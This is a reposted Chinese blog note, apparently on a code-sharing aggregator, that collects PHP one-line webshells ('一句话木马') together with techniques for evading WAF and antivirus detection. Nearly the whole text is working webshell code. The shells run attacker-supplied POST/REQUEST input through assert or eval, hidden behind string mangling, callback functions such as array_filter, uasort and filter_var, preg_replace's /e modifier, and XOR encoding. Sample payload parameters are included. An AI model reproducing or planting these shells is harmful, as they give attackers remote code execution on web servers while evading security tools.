ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

一句话木马免杀.md

2022-05-26 16:35:24  阅读:198  来源: 互联网

标签:md string ... 函数 filter 木马 mixed array 免杀


一句话木马

目录

php

方法

  1. 字符串变形:

    substr(string, start, length)

    <?php 
        $a = 'a'.'s'.'s'.'e'.'r'.'t';
        $a($_POST['x']);
    ?>
       
    <?php 
        $a = substr('1a',1).'s'.'s'.'e'.'r'.'t';
        $a($_POST['x']);
    ?>    
    

    strtr(string, from, to)

    <?php 
        $a = strtr('azxcvt','zxcv','ssert');
        $a($_POST['x']);
    ?>   
    

    substr_replace(string, replacement, start, length)

    <?php 
        $a = substr_replace("asxxx","sert",2);
        $a($_POST['x']);
    ?>  
    

    trim(string, charlist)

    <?php 
        $a = trim(' assert ');
        $a($_POST['x']);
    ?>
    
  2. 函数绕过

    ​ 函数可以把敏感关键词当做参数传递

    <?php 
        function sqlsec($a){
            $a($_POST['x']);
        }
    
        sqlsec(assert);
    ?>
    
  3. 回调函数

    回调函数⼤部分都无法绕过 WAF 了

    call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )

    <?php
        call_user_func('assert',$_POST['x']);
    ?>
    

    call_user_func_array ( callable $callback , array $param_arr )

    <?php
       call_user_func_array(assert,array($_POST['x']));
    ?>
    

    array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

    <?php
        array_filter(array($_POST['x']),'assert');
    ?>
        
     <?php
        $e = $_REQUEST['e'];
        $arr = array($_POST['pass'],);
        array_filter($arr, base64_decode($e));
    ?>
    

    array_map(myfunction,array1,array2,array3...)

    <?php
        $e = $_REQUEST['e'];
        $arr = array($_POST['pass'],);
        array_map(base64_decode($e), $arr);
    ?>
    

    array_walk(array,myfunction,parameter...)

    <?php
        function sqlsec($value,$key)
        {   
            $x = $key.$value;
            $x($_POST['x']);
        }
        $a=array("ass"=>"ert");
        array_walk($a,"sqlsec");
    ?>
        
    <?php 
      $e = $_REQUEST['e'];
      $arr = array($_POST['x'] => '|.*|e',);
        array_walk($arr, $e, '');
    ?>
    # payload: shell.php?e=preg_replace  相当于 preg_replace('|.*|e',$_POST['x'],'')
    # PHP 止中不止 preg_replace 函数可以执行 eval 的功能,还有下面几个类似的:
    # mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option = "msr" ] ) : string
    <?php 
        mb_ereg_replace('\d', $_REQUEST['x'], '1', 'e');
    ?>
    # mixed preg_filter ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
    <?php 
        preg_filter('|\d|e', $_REQUEST['x'], '2');
    ?>
     <?php 
        mb_eregi_replace('\d', $_REQUEST['x'], '1', 'e');
    ?>
    

    array_walk_recursive(array,myfunction,parameter...)

    <?php
        $e = $_REQUEST['e'];
        $arr = array($_POST['pass'] => '|.*|e',);
        array_walk_recursive($arr, $e, '');
    ?>
    

    array_reduce(array,myfunction,initial)

    array_reduce() 函数向用户自定义函数发送数组中的值,并返回一个字符串。

    <?php
        $e = $_REQUEST['e'];
        $arr = array(1);
        array_reduce($arr, $e, $_POST['x']);
    ?>
    # payload 
       e=assert&x=phpinfo();
    

    array_diff(array1,array2,array3...);

    array_diff() 函数返回两个数组的差集数组。该数组包括了所有在被比较的数组中,但是不在任何其他参数数组中的键值。在返回的数组中,键名保持不变。

    <?php
        $e = $_REQUEST['e'];
        $arr = array($_POST['x']);
        $arr2 = array(1);
        array_udiff($arr, $arr2, $e);
    ?>
        # payload e=assert&x=phpinfo();
    

    uasort(array,myfunction);

    uasort() 函数使用用户自定义的比较函数对数组排序,并保持索引关联(不为元素分配新的键)。如果成功则返回 TRUE,否则返回 FALSE。该函数主要用于对那些单元顺序很重要的结合数组进行排序。

    <?php
        $e = $_REQUEST['e'];
        $arr = array('test', $_REQUEST['x']);
        uasort($arr, base64_decode($e));
    ?>
    # payload e=YXNzZXJ0&x=phpinfo();
    <?php
       $arr = new ArrayObject(array('test', $_REQUEST['x']));
       $arr->uasort('assert');
    ?>
    

    uksort(array,myfunction);

    uksort() 函数通过用户自定义的比较函数对数组按键名进行排序。

    <?php
        $e = $_REQUEST['e'];
        $arr = array('test' => 1, $_REQUEST['x'] => 2);
        uksort($arr, $e);
    ?>
    # e=assert&x=phpinfo();	
    <?php
       $arr = new ArrayObject(array('test' => 1, $_REQUEST['x'] => 2));
       $arr->uksort('assert');
    ?>
    

    register_shutdown_function ( callable $callback [, mixed $... ] ) : void

    注册一个 callback ,它会在脚本执行完成或者 exit() 后被调用。

    <?php
        $e = $_REQUEST['e'];
        register_shutdown_function($e, $_REQUEST['x']);
    ?>
    

    register_tick_function ( callable $function [, mixed $arg [, mixed $... ]] ) : bool

    注册在调用记号时要执行的给定函数。

    <?php
        $e = $_REQUEST['e'];
        declare(ticks=1);
        register_tick_function ($e, $_REQUEST['x']);
    ?>
    

    filter_var(variable, filter, options)

    filter_var() 函数通过指定的过滤器过滤变量。

    <?php
        filter_var($_REQUEST['x'], FILTER_CALLBACK, array('options' => 'assert'));
    ?>
    

    filter_var_array(array, args)

    filter_var_array() 函数获取多项变量,并进行过滤。

    <?php
        filter_var_array(array('test' => $_REQUEST['x']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
    ?>
    

    register_tick_function ( callable $function [, mixed $... ] ) : bool

    注册在调用记号时要执行的给定函数。

    <?php
    $e = $_REQUEST['e'];
    declare(ticks=1);
    register_tick_function ($e, $_REQUEST['x']);
    ?>
    
  4. 异或

    <?php 
        $a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
        $a($_POST['x']);
    ?>
    

收集

​ 1. 异或

<?php
    # $a = _POST
    $a="~+d()"^"!{+{}";
	# $b = $_POST["a"]
	$b=${$a}["a"];
	# eval($_POST["a"]);
	eval("".$b);
?>

标签:md,string,...,函数,filter,木马,mixed,array,免杀
来源: https://www.cnblogs.com/nsfoxer/p/16313883.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有